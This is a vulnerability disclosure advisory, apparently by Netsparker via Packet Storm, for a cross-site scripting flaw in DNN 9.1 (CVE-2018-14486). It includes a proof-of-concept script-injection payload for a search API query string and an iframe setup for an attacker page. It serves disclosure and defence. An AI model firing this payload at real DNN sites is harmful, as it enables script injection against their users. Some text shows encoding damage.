DNN 9.1 XML Related Cross Site Scripting

Type packetstorm
Reporter Mustafa Yalcin
Modified 2019-01-23T00:00:00


                                            `Cross-site Scripting via XML Vulnerability in DNN 9.1  
Advisory by Netsparker  
Name: Cross-site Scripting via XML Vulnerability in DNN 9.1  
Affected Software: DNN  
Affected Versions: 9.1  
Homepage: http://dnnsoftware.com  
Vulnerability: Cross-site Scripting via XML Vulnerability  
Severity: High  
Status: Not Fixed  
CVE-ID: 2018-14486  
CVSS Score (3.0): CVSS:3.0/VA:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N  
Netsparker Advisory Reference: NS-18-048  
Technical Details  
XSS via XML  
Url: http://DNNWebsite/blog/API/internalservices/searchService/search?  
Parameter Name: Query String  
Parameter Type: Get  
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00BA94)</scRipt>  
Attacker`s Website:  
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7">  
<iframe src='http://www.victim.site/'></iframe>  
Victim's DNN Website:  
TEst '"--></style></scRipt><scRipt>alert(0x00BA94)</scRipt>  
Note: Attacker can execute payload on own Website with Iframe Element. Payload can be used only with Internet Explorer's with Compatible Mode Option.  
For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).  
Advisory Timeline  
16th January 2018- First Contact  
1st Febuary 2018 - Technical Details Sent  
9th January 2019 - Last Attempt to Contact  
23rd January 2019 - Advisory Released  
Credits & Authors  
These issues have been discovered by Mustafa YalASSA+-n while testing Netsparker Web Application Security Scanner.  
About Netsparker  
Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engineas unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.